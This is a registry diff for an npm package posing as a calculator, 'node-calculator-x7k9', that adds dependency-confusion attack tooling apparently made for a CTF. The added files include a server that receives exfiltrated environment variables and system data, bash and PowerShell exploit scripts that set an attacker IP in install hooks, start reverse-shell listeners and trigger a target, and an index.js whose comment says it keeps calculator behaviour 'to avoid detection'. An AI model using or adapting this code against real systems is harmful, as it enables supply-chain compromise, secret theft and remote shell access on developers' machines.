node-calculator-x7k9 0.0.1-security ā 3.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-calculator-x7k9 might be problematic. Click here for more details.
- package/ATTACK_DIAGRAM.txt +237 -0
- package/EXPLOITATION_GUIDE.md +236 -0
- package/README.md +32 -5
- package/exfil_server.py +219 -0
- package/exploit.ps1 +184 -0
- package/exploit.sh +91 -0
- package/index.js +23 -0
- package/listener.py +159 -0
- package/package.json +14 -6
- package/postinstall.js +63 -0
- package/preinstall.js +136 -0
- package/test-exfiltration.ps1 +108 -0
- package/test-local.ps1 +127 -0
- package/test-simple.js +116 -0
package/exfil_server.py
ADDED
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
HTTP Exfiltration Server for CTF
|
|
4
|
+
Receives and logs all POST data from target server
|
|
5
|
+
|
|
6
|
+
Usage:
|
|
7
|
+
python3 exfil_server.py [port]
|
|
8
|
+
python3 exfil_server.py 8080
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
12
|
+
import json
|
|
13
|
+
import sys
|
|
14
|
+
import os
|
|
15
|
+
from datetime import datetime
|
|
16
|
+
from urllib.parse import urlparse, parse_qs
|
|
17
|
+
|
|
18
|
+
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
|
|
19
|
+
LOG_FILE = 'exfiltrated_data.json'
|
|
20
|
+
LOG_DIR = 'exfil_logs'
|
|
21
|
+
|
|
22
|
+
# Create logs directory
|
|
23
|
+
os.makedirs(LOG_DIR, exist_ok=True)
|
|
24
|
+
|
|
25
|
+
def log_message(msg):
|
|
26
|
+
"""Print timestamped message"""
|
|
27
|
+
timestamp = datetime.now().strftime("%H:%M:%S")
|
|
28
|
+
print(f"[{timestamp}] {msg}")
|
|
29
|
+
|
|
30
|
+
def save_data(data, source="unknown"):
|
|
31
|
+
"""Save exfiltrated data to file"""
|
|
32
|
+
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
33
|
+
filename = f"{LOG_DIR}/exfil_{timestamp}_{source}.json"
|
|
34
|
+
|
|
35
|
+
with open(filename, 'w') as f:
|
|
36
|
+
json.dump(data, f, indent=2)
|
|
37
|
+
|
|
38
|
+
log_message(f"Data saved to: {filename}")
|
|
39
|
+
|
|
40
|
+
# Also append to main log
|
|
41
|
+
with open(LOG_FILE, 'a') as f:
|
|
42
|
+
f.write(f"\n{'='*80}\n")
|
|
43
|
+
f.write(f"Timestamp: {datetime.now().isoformat()}\n")
|
|
44
|
+
f.write(f"Source: {source}\n")
|
|
45
|
+
f.write(f"{'='*80}\n")
|
|
46
|
+
json.dump(data, f, indent=2)
|
|
47
|
+
f.write("\n")
|
|
48
|
+
|
|
49
|
+
return filename
|
|
50
|
+
|
|
51
|
+
def extract_flags(data):
|
|
52
|
+
"""Try to extract flag from data"""
|
|
53
|
+
flags = []
|
|
54
|
+
|
|
55
|
+
# Check environment variables
|
|
56
|
+
if 'environment' in data:
|
|
57
|
+
for key, value in data.get('environment', {}).items():
|
|
58
|
+
if 'flag' in key.lower() or 'FLAG' in key:
|
|
59
|
+
flags.append(f"ENV: {key}={value}")
|
|
60
|
+
if isinstance(value, str) and ('flag{' in value.lower() or 'ctf{' in value.lower()):
|
|
61
|
+
flags.append(f"ENV: {key}={value}")
|
|
62
|
+
|
|
63
|
+
# Check flags field
|
|
64
|
+
if 'flags' in data and data['flags']:
|
|
65
|
+
for path, content in data.get('flags', {}).items():
|
|
66
|
+
flags.append(f"FILE: {path} = {content}")
|
|
67
|
+
|
|
68
|
+
# Check command outputs
|
|
69
|
+
if 'commands' in data:
|
|
70
|
+
for cmd, result in data.get('commands', {}).items():
|
|
71
|
+
if 'flag' in str(result.get('stdout', '')).lower():
|
|
72
|
+
flags.append(f"CMD: {cmd} = {result.get('stdout', '')[:200]}")
|
|
73
|
+
|
|
74
|
+
return flags
|
|
75
|
+
|
|
76
|
+
class ExfilHandler(BaseHTTPRequestHandler):
|
|
77
|
+
"""HTTP request handler for exfiltration data"""
|
|
78
|
+
|
|
79
|
+
def log_message(self, format, *args):
|
|
80
|
+
"""Override to use our custom logging"""
|
|
81
|
+
pass
|
|
82
|
+
|
|
83
|
+
def do_POST(self):
|
|
84
|
+
"""Handle POST requests with exfiltrated data"""
|
|
85
|
+
try:
|
|
86
|
+
# Get content length
|
|
87
|
+
content_length = int(self.headers.get('Content-Length', 0))
|
|
88
|
+
|
|
89
|
+
# Read POST data
|
|
90
|
+
post_data = self.rfile.read(content_length)
|
|
91
|
+
|
|
92
|
+
log_message(f"Received POST from {self.client_address[0]}:{self.client_address[1]}")
|
|
93
|
+
log_message(f"Path: {self.path}")
|
|
94
|
+
log_message(f"Content-Length: {content_length} bytes")
|
|
95
|
+
|
|
96
|
+
# Try to parse as JSON
|
|
97
|
+
try:
|
|
98
|
+
data = json.loads(post_data.decode('utf-8'))
|
|
99
|
+
log_message("Data parsed as JSON successfully")
|
|
100
|
+
|
|
101
|
+
# Save data
|
|
102
|
+
source = f"{self.client_address[0]}"
|
|
103
|
+
filename = save_data(data, source)
|
|
104
|
+
|
|
105
|
+
# Extract and display flags
|
|
106
|
+
flags = extract_flags(data)
|
|
107
|
+
if flags:
|
|
108
|
+
print("\n" + "="*80)
|
|
109
|
+
print("š© POTENTIAL FLAGS FOUND! š©")
|
|
110
|
+
print("="*80)
|
|
111
|
+
for flag in flags:
|
|
112
|
+
print(f" {flag}")
|
|
113
|
+
print("="*80 + "\n")
|
|
114
|
+
|
|
115
|
+
# Display key information
|
|
116
|
+
print("\nš Key Information:")
|
|
117
|
+
print(f" Hostname: {data.get('system', {}).get('hostname', 'unknown')}")
|
|
118
|
+
print(f" User: {data.get('system', {}).get('user', {}).get('username', 'unknown')}")
|
|
119
|
+
print(f" CWD: {data.get('system', {}).get('cwd', 'unknown')}")
|
|
120
|
+
print(f" Platform: {data.get('system', {}).get('platform', 'unknown')}")
|
|
121
|
+
print(f" Node Version: {data.get('system', {}).get('nodeVersion', 'unknown')}")
|
|
122
|
+
|
|
123
|
+
# Environment variable keys
|
|
124
|
+
env_keys = list(data.get('environment', {}).keys())
|
|
125
|
+
print(f"\nš Environment Variables ({len(env_keys)} total):")
|
|
126
|
+
for key in env_keys[:20]: # Show first 20
|
|
127
|
+
value = data.get('environment', {}).get(key, '')
|
|
128
|
+
if len(str(value)) > 100:
|
|
129
|
+
value = str(value)[:100] + "..."
|
|
130
|
+
print(f" {key}={value}")
|
|
131
|
+
if len(env_keys) > 20:
|
|
132
|
+
print(f" ... and {len(env_keys) - 20} more (see {filename})")
|
|
133
|
+
|
|
134
|
+
print()
|
|
135
|
+
|
|
136
|
+
# Send success response
|
|
137
|
+
response = {
|
|
138
|
+
'status': 'success',
|
|
139
|
+
'message': 'Data received',
|
|
140
|
+
'timestamp': datetime.now().isoformat(),
|
|
141
|
+
'saved_to': filename
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
self.send_response(200)
|
|
145
|
+
self.send_header('Content-Type', 'application/json')
|
|
146
|
+
self.end_headers()
|
|
147
|
+
self.wfile.write(json.dumps(response).encode())
|
|
148
|
+
|
|
149
|
+
except json.JSONDecodeError:
|
|
150
|
+
# Not JSON, save as raw data
|
|
151
|
+
log_message("Data is not valid JSON, saving as raw")
|
|
152
|
+
|
|
153
|
+
raw_filename = f"{LOG_DIR}/exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}_raw.txt"
|
|
154
|
+
with open(raw_filename, 'wb') as f:
|
|
155
|
+
f.write(post_data)
|
|
156
|
+
|
|
157
|
+
log_message(f"Raw data saved to: {raw_filename}")
|
|
158
|
+
|
|
159
|
+
self.send_response(200)
|
|
160
|
+
self.send_header('Content-Type', 'text/plain')
|
|
161
|
+
self.end_headers()
|
|
162
|
+
self.wfile.write(b'Data received')
|
|
163
|
+
|
|
164
|
+
except Exception as e:
|
|
165
|
+
log_message(f"Error handling POST: {e}")
|
|
166
|
+
self.send_response(500)
|
|
167
|
+
self.end_headers()
|
|
168
|
+
|
|
169
|
+
def do_GET(self):
|
|
170
|
+
"""Handle GET requests"""
|
|
171
|
+
log_message(f"GET request from {self.client_address[0]} to {self.path}")
|
|
172
|
+
|
|
173
|
+
# Simple status page
|
|
174
|
+
response = """
|
|
175
|
+
<html>
|
|
176
|
+
<head><title>Exfiltration Server</title></head>
|
|
177
|
+
<body>
|
|
178
|
+
<h1>Exfiltration Server Running</h1>
|
|
179
|
+
<p>Listening for POST requests on port {}</p>
|
|
180
|
+
<p>POST exfiltrated data to: /exfil</p>
|
|
181
|
+
</body>
|
|
182
|
+
</html>
|
|
183
|
+
""".format(PORT)
|
|
184
|
+
|
|
185
|
+
self.send_response(200)
|
|
186
|
+
self.send_header('Content-Type', 'text/html')
|
|
187
|
+
self.end_headers()
|
|
188
|
+
self.wfile.write(response.encode())
|
|
189
|
+
|
|
190
|
+
def main():
|
|
191
|
+
"""Start the exfiltration server"""
|
|
192
|
+
print("""
|
|
193
|
+
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
194
|
+
ā HTTP EXFILTRATION SERVER ā
|
|
195
|
+
ā CTF Edition v2.0 ā
|
|
196
|
+
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
197
|
+
""")
|
|
198
|
+
|
|
199
|
+
log_message(f"Starting server on port {PORT}")
|
|
200
|
+
log_message(f"Logs will be saved to: {LOG_DIR}/")
|
|
201
|
+
log_message(f"Combined log file: {LOG_FILE}")
|
|
202
|
+
|
|
203
|
+
print("\n[*] Configure your payload with:")
|
|
204
|
+
print(f" EXFIL_SERVER = 'http://YOUR_IP:{PORT}/exfil'")
|
|
205
|
+
print("\n[*] Waiting for exfiltrated data...\n")
|
|
206
|
+
|
|
207
|
+
server = HTTPServer(('0.0.0.0', PORT), ExfilHandler)
|
|
208
|
+
|
|
209
|
+
try:
|
|
210
|
+
server.serve_forever()
|
|
211
|
+
except KeyboardInterrupt:
|
|
212
|
+
log_message("\nShutting down server...")
|
|
213
|
+
server.shutdown()
|
|
214
|
+
print("\n[*] Server stopped")
|
|
215
|
+
print(f"[*] Check {LOG_FILE} for all collected data")
|
|
216
|
+
|
|
217
|
+
if __name__ == '__main__':
|
|
218
|
+
main()
|
|
219
|
+
|
package/exploit.ps1
ADDED
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
# PowerShell Exploitation Script for Dependency Confusion CTF
|
|
2
|
+
# Usage: .\exploit.ps1 -TargetIP "localhost:3000" -AttackerIP "10.10.10.10" -AttackerPort 4444
|
|
3
|
+
|
|
4
|
+
param(
|
|
5
|
+
[string]$TargetIP = "localhost:3000",
|
|
6
|
+
[string]$AttackerIP = "10.10.10.10",
|
|
7
|
+
[int]$AttackerPort = 4444
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
Write-Host "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā" -ForegroundColor Cyan
|
|
11
|
+
Write-Host "ā Dependency Confusion Attack - Automated Exploit ā" -ForegroundColor Cyan
|
|
12
|
+
Write-Host "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā" -ForegroundColor Cyan
|
|
13
|
+
Write-Host ""
|
|
14
|
+
Write-Host "[*] Target: $TargetIP" -ForegroundColor Yellow
|
|
15
|
+
Write-Host "[*] Attacker IP: $AttackerIP" -ForegroundColor Yellow
|
|
16
|
+
Write-Host "[*] Attacker Port: $AttackerPort" -ForegroundColor Yellow
|
|
17
|
+
Write-Host ""
|
|
18
|
+
|
|
19
|
+
# Step 1: Update payload configuration
|
|
20
|
+
Write-Host "[+] Configuring payload..." -ForegroundColor Green
|
|
21
|
+
|
|
22
|
+
$preinstallPath = "preinstall.js"
|
|
23
|
+
$postinstallPath = "postinstall.js"
|
|
24
|
+
|
|
25
|
+
if (Test-Path $preinstallPath) {
|
|
26
|
+
$preinstallContent = Get-Content $preinstallPath -Raw
|
|
27
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
28
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
29
|
+
Set-Content $preinstallPath -Value $preinstallContent
|
|
30
|
+
Write-Host " [ā] Updated preinstall.js" -ForegroundColor Green
|
|
31
|
+
} else {
|
|
32
|
+
Write-Host " [!] preinstall.js not found" -ForegroundColor Red
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
if (Test-Path $postinstallPath) {
|
|
36
|
+
$postinstallContent = Get-Content $postinstallPath -Raw
|
|
37
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
38
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
39
|
+
Set-Content $postinstallPath -Value $postinstallContent
|
|
40
|
+
Write-Host " [ā] Updated postinstall.js" -ForegroundColor Green
|
|
41
|
+
} else {
|
|
42
|
+
Write-Host " [!] postinstall.js not found" -ForegroundColor Red
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
# Step 2: Start listener
|
|
46
|
+
Write-Host "[+] Starting listener on port $AttackerPort..." -ForegroundColor Green
|
|
47
|
+
|
|
48
|
+
# Start Python listener if available
|
|
49
|
+
if (Get-Command python3 -ErrorAction SilentlyContinue) {
|
|
50
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
51
|
+
param($port)
|
|
52
|
+
python3 listener.py $port
|
|
53
|
+
} -ArgumentList $AttackerPort
|
|
54
|
+
Write-Host " [ā] Python listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
55
|
+
} elseif (Get-Command python -ErrorAction SilentlyContinue) {
|
|
56
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
57
|
+
param($port)
|
|
58
|
+
python listener.py $port
|
|
59
|
+
} -ArgumentList $AttackerPort
|
|
60
|
+
Write-Host " [ā] Python listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
61
|
+
} else {
|
|
62
|
+
Write-Host " [!] Python not found, starting PowerShell listener..." -ForegroundColor Yellow
|
|
63
|
+
|
|
64
|
+
# PowerShell TCP Listener
|
|
65
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
66
|
+
param($port)
|
|
67
|
+
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $port)
|
|
68
|
+
$listener.Start()
|
|
69
|
+
Write-Host "Listening on port $port..." -ForegroundColor Green
|
|
70
|
+
|
|
71
|
+
$client = $listener.AcceptTcpClient()
|
|
72
|
+
$stream = $client.GetStream()
|
|
73
|
+
$reader = [System.IO.StreamReader]::new($stream)
|
|
74
|
+
$writer = [System.IO.StreamWriter]::new($stream)
|
|
75
|
+
$writer.AutoFlush = $true
|
|
76
|
+
|
|
77
|
+
Write-Host "Connection received!" -ForegroundColor Green
|
|
78
|
+
$writer.WriteLine("=== Reverse Shell Connected ===")
|
|
79
|
+
|
|
80
|
+
while ($client.Connected) {
|
|
81
|
+
try {
|
|
82
|
+
$line = $reader.ReadLine()
|
|
83
|
+
if ($line) {
|
|
84
|
+
Write-Host $line
|
|
85
|
+
}
|
|
86
|
+
} catch {
|
|
87
|
+
break
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
$client.Close()
|
|
92
|
+
$listener.Stop()
|
|
93
|
+
} -ArgumentList $AttackerPort
|
|
94
|
+
Write-Host " [ā] PowerShell listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
Start-Sleep -Seconds 2
|
|
98
|
+
|
|
99
|
+
# Step 3: Package publishing instructions
|
|
100
|
+
Write-Host "[+] Package publishing..." -ForegroundColor Green
|
|
101
|
+
if (Get-Command npm -ErrorAction SilentlyContinue) {
|
|
102
|
+
Write-Host " [*] Checking npm login status..." -ForegroundColor Yellow
|
|
103
|
+
|
|
104
|
+
$npmUser = npm whoami 2>$null
|
|
105
|
+
if ($LASTEXITCODE -eq 0) {
|
|
106
|
+
Write-Host " [ā] Logged in as: $npmUser" -ForegroundColor Green
|
|
107
|
+
Write-Host " [!] Ready to publish. Run manually if needed:" -ForegroundColor Yellow
|
|
108
|
+
Write-Host " cd malicious-package" -ForegroundColor Gray
|
|
109
|
+
Write-Host " npm publish" -ForegroundColor Gray
|
|
110
|
+
} else {
|
|
111
|
+
Write-Host " [!] Not logged in to npm" -ForegroundColor Red
|
|
112
|
+
Write-Host " [!] Run: npm login" -ForegroundColor Yellow
|
|
113
|
+
Write-Host " [!] Then: cd malicious-package && npm publish" -ForegroundColor Yellow
|
|
114
|
+
}
|
|
115
|
+
} else {
|
|
116
|
+
Write-Host " [!] npm not found" -ForegroundColor Red
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
# Step 4: Trigger vulnerability
|
|
120
|
+
Write-Host ""
|
|
121
|
+
Write-Host "[+] Waiting 5 seconds before triggering..." -ForegroundColor Green
|
|
122
|
+
Start-Sleep -Seconds 5
|
|
123
|
+
|
|
124
|
+
Write-Host "[+] Triggering vulnerability via /report-bug endpoint..." -ForegroundColor Green
|
|
125
|
+
|
|
126
|
+
try {
|
|
127
|
+
$body = @{
|
|
128
|
+
message = "Triggering dependency confusion attack"
|
|
129
|
+
} | ConvertTo-Json
|
|
130
|
+
|
|
131
|
+
$response = Invoke-RestMethod -Uri "http://$TargetIP/report-bug" `
|
|
132
|
+
-Method Post `
|
|
133
|
+
-ContentType "application/json" `
|
|
134
|
+
-Body $body `
|
|
135
|
+
-ErrorAction Stop
|
|
136
|
+
|
|
137
|
+
Write-Host " [ā] Response received:" -ForegroundColor Green
|
|
138
|
+
Write-Host ($response | ConvertTo-Json) -ForegroundColor Gray
|
|
139
|
+
} catch {
|
|
140
|
+
Write-Host " [!] Error triggering endpoint: $_" -ForegroundColor Red
|
|
141
|
+
Write-Host " [!] Trigger manually with:" -ForegroundColor Yellow
|
|
142
|
+
Write-Host " curl -X POST http://$TargetIP/report-bug -H 'Content-Type: application/json' -d '{`"message`": `"test`"}'" -ForegroundColor Gray
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
Write-Host ""
|
|
146
|
+
Write-Host "[+] Exploitation attempt complete!" -ForegroundColor Green
|
|
147
|
+
Write-Host "[*] Checking listener for incoming connections..." -ForegroundColor Yellow
|
|
148
|
+
Write-Host ""
|
|
149
|
+
|
|
150
|
+
# Monitor listener job
|
|
151
|
+
Write-Host "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā" -ForegroundColor Cyan
|
|
152
|
+
Write-Host "ā Listener is running in background (Job ID: $($listenerJob.Id)) ā" -ForegroundColor Cyan
|
|
153
|
+
Write-Host "ā To view output: Receive-Job $($listenerJob.Id) ā" -ForegroundColor Cyan
|
|
154
|
+
Write-Host "ā To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ā" -ForegroundColor Cyan
|
|
155
|
+
Write-Host "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā" -ForegroundColor Cyan
|
|
156
|
+
Write-Host ""
|
|
157
|
+
|
|
158
|
+
Write-Host "Waiting for connections (Ctrl+C to exit)..." -ForegroundColor Yellow
|
|
159
|
+
Write-Host ""
|
|
160
|
+
|
|
161
|
+
# Keep checking listener job
|
|
162
|
+
try {
|
|
163
|
+
while ($true) {
|
|
164
|
+
$output = Receive-Job -Id $listenerJob.Id
|
|
165
|
+
if ($output) {
|
|
166
|
+
Write-Host $output
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
if ((Get-Job -Id $listenerJob.Id).State -eq 'Completed') {
|
|
170
|
+
Write-Host "[*] Listener job completed" -ForegroundColor Yellow
|
|
171
|
+
break
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
Start-Sleep -Seconds 2
|
|
175
|
+
}
|
|
176
|
+
} catch {
|
|
177
|
+
Write-Host ""
|
|
178
|
+
Write-Host "[*] Stopping listener..." -ForegroundColor Yellow
|
|
179
|
+
} finally {
|
|
180
|
+
Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
181
|
+
Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
182
|
+
Write-Host "[*] Cleanup complete" -ForegroundColor Green
|
|
183
|
+
}
|
|
184
|
+
|
package/exploit.sh
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
|
|
3
|
+
# Automated exploitation script for Dependency Confusion CTF
|
|
4
|
+
# Usage: ./exploit.sh <target_ip> <attacker_ip> <attacker_port>
|
|
5
|
+
|
|
6
|
+
set -e
|
|
7
|
+
|
|
8
|
+
TARGET_IP="${1:-localhost:3000}"
|
|
9
|
+
ATTACKER_IP="${2:-10.10.10.10}"
|
|
10
|
+
ATTACKER_PORT="${3:-4444}"
|
|
11
|
+
|
|
12
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
13
|
+
echo "ā Dependency Confusion Attack - Automated Exploit ā"
|
|
14
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
15
|
+
echo ""
|
|
16
|
+
echo "[*] Target: $TARGET_IP"
|
|
17
|
+
echo "[*] Attacker IP: $ATTACKER_IP"
|
|
18
|
+
echo "[*] Attacker Port: $ATTACKER_PORT"
|
|
19
|
+
echo ""
|
|
20
|
+
|
|
21
|
+
# Step 1: Update payload with attacker IP/Port
|
|
22
|
+
echo "[+] Configuring payload..."
|
|
23
|
+
sed -i "s/const ATTACKER_IP = '.*';/const ATTACKER_IP = '$ATTACKER_IP';/" preinstall.js
|
|
24
|
+
sed -i "s/const ATTACKER_PORT = .*/const ATTACKER_PORT = $ATTACKER_PORT;/" preinstall.js
|
|
25
|
+
sed -i "s/const ATTACKER_IP = '.*';/const ATTACKER_IP = '$ATTACKER_IP';/" postinstall.js
|
|
26
|
+
sed -i "s/const ATTACKER_PORT = .*/const ATTACKER_PORT = $ATTACKER_PORT;/" postinstall.js
|
|
27
|
+
|
|
28
|
+
# Step 2: Start listener in background
|
|
29
|
+
echo "[+] Starting listener on port $ATTACKER_PORT..."
|
|
30
|
+
if command -v python3 &> /dev/null; then
|
|
31
|
+
python3 listener.py $ATTACKER_PORT &
|
|
32
|
+
LISTENER_PID=$!
|
|
33
|
+
echo "[+] Listener PID: $LISTENER_PID"
|
|
34
|
+
else
|
|
35
|
+
echo "[!] Python3 not found, using nc instead"
|
|
36
|
+
nc -nlvp $ATTACKER_PORT &
|
|
37
|
+
LISTENER_PID=$!
|
|
38
|
+
fi
|
|
39
|
+
|
|
40
|
+
sleep 2
|
|
41
|
+
|
|
42
|
+
# Step 3: Publish package
|
|
43
|
+
echo "[+] Publishing malicious package..."
|
|
44
|
+
if command -v npm &> /dev/null; then
|
|
45
|
+
echo "[*] Checking npm login status..."
|
|
46
|
+
if npm whoami &> /dev/null; then
|
|
47
|
+
echo "[+] Already logged in to npm"
|
|
48
|
+
# npm publish || echo "[!] Publish failed - you may need to publish manually"
|
|
49
|
+
echo "[!] Skipping npm publish - do this manually if needed"
|
|
50
|
+
echo " Run: cd malicious-package && npm publish"
|
|
51
|
+
else
|
|
52
|
+
echo "[!] Not logged in to npm"
|
|
53
|
+
echo "[!] Please run: npm login"
|
|
54
|
+
echo "[!] Then run: cd malicious-package && npm publish"
|
|
55
|
+
fi
|
|
56
|
+
else
|
|
57
|
+
echo "[!] npm not found"
|
|
58
|
+
fi
|
|
59
|
+
|
|
60
|
+
# Step 4: Trigger vulnerability
|
|
61
|
+
echo "[+] Waiting 5 seconds before triggering..."
|
|
62
|
+
sleep 5
|
|
63
|
+
|
|
64
|
+
echo "[+] Triggering vulnerability via /report-bug endpoint..."
|
|
65
|
+
if command -v curl &> /dev/null; then
|
|
66
|
+
RESPONSE=$(curl -s -X POST "http://$TARGET_IP/report-bug" \
|
|
67
|
+
-H "Content-Type: application/json" \
|
|
68
|
+
-d '{"message": "Triggering dependency confusion"}')
|
|
69
|
+
echo "[+] Response: $RESPONSE"
|
|
70
|
+
else
|
|
71
|
+
echo "[!] curl not found - trigger manually:"
|
|
72
|
+
echo " curl -X POST http://$TARGET_IP/report-bug -H 'Content-Type: application/json' -d '{\"message\": \"test\"}'"
|
|
73
|
+
fi
|
|
74
|
+
|
|
75
|
+
echo ""
|
|
76
|
+
echo "[+] Exploitation attempt complete!"
|
|
77
|
+
echo "[*] Check your listener for incoming connection..."
|
|
78
|
+
echo "[*] Listener PID: $LISTENER_PID (kill with: kill $LISTENER_PID)"
|
|
79
|
+
echo ""
|
|
80
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
81
|
+
echo "ā If shell doesn't connect within 30 seconds, check: ā"
|
|
82
|
+
echo "ā 1. Firewall rules (port $ATTACKER_PORT must be open) ā"
|
|
83
|
+
echo "ā 2. IP address is correct and reachable ā"
|
|
84
|
+
echo "ā 3. Package was actually installed (check target logs) ā"
|
|
85
|
+
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā"
|
|
86
|
+
|
|
87
|
+
# Wait for user interrupt
|
|
88
|
+
echo ""
|
|
89
|
+
echo "Press Ctrl+C to stop listener and exit..."
|
|
90
|
+
wait $LISTENER_PID 2>/dev/null
|
|
91
|
+
|
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
// Maintain original functionality to avoid detection
|
|
2
|
+
function calculate(operation, a, b) {
|
|
3
|
+
switch(operation) {
|
|
4
|
+
case 'add':
|
|
5
|
+
return a + b;
|
|
6
|
+
case 'subtract':
|
|
7
|
+
return a - b;
|
|
8
|
+
case 'multiply':
|
|
9
|
+
return a * b;
|
|
10
|
+
case 'divide':
|
|
11
|
+
if (b === 0) {
|
|
12
|
+
throw new Error('Division by zero');
|
|
13
|
+
}
|
|
14
|
+
return a / b;
|
|
15
|
+
default:
|
|
16
|
+
throw new Error('Invalid operation');
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
module.exports = {
|
|
21
|
+
calculate
|
|
22
|
+
};
|
|
23
|
+
|
package/listener.py
ADDED
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Reverse Shell Listener for CTF
|
|
4
|
+
A more feature-rich alternative to netcat
|
|
5
|
+
|
|
6
|
+
Usage:
|
|
7
|
+
python3 listener.py [port]
|
|
8
|
+
python3 listener.py 4444
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
import socket
|
|
12
|
+
import sys
|
|
13
|
+
import threading
|
|
14
|
+
import time
|
|
15
|
+
from datetime import datetime
|
|
16
|
+
|
|
17
|
+
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 4444
|
|
18
|
+
HOST = '0.0.0.0'
|
|
19
|
+
|
|
20
|
+
def get_local_ip():
|
|
21
|
+
"""Get local IP address"""
|
|
22
|
+
try:
|
|
23
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
24
|
+
s.connect(("8.8.8.8", 80))
|
|
25
|
+
ip = s.getsockname()[0]
|
|
26
|
+
s.close()
|
|
27
|
+
return ip
|
|
28
|
+
except:
|
|
29
|
+
return "127.0.0.1"
|
|
30
|
+
|
|
31
|
+
def log(message):
|
|
32
|
+
"""Print timestamped log message"""
|
|
33
|
+
timestamp = datetime.now().strftime("%H:%M:%S")
|
|
34
|
+
print(f"[{timestamp}] {message}")
|
|
35
|
+
|
|
36
|
+
def handle_connection(conn, addr):
|
|
37
|
+
"""Handle incoming reverse shell connection"""
|
|
38
|
+
log(f"Connection received from {addr[0]}:{addr[1]}")
|
|
39
|
+
|
|
40
|
+
# Send initial banner
|
|
41
|
+
banner = f"""
|
|
42
|
+
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
43
|
+
ā Reverse Shell Connected! ā
|
|
44
|
+
ā From: {addr[0]:20s} ā
|
|
45
|
+
ā Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S'):20s}ā
|
|
46
|
+
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
47
|
+
|
|
48
|
+
"""
|
|
49
|
+
print(banner)
|
|
50
|
+
|
|
51
|
+
def receive_data():
|
|
52
|
+
"""Continuously receive data from target"""
|
|
53
|
+
while True:
|
|
54
|
+
try:
|
|
55
|
+
data = conn.recv(4096)
|
|
56
|
+
if not data:
|
|
57
|
+
log("Connection closed by remote host")
|
|
58
|
+
break
|
|
59
|
+
|
|
60
|
+
# Print received data
|
|
61
|
+
output = data.decode('utf-8', errors='ignore')
|
|
62
|
+
print(output, end='', flush=True)
|
|
63
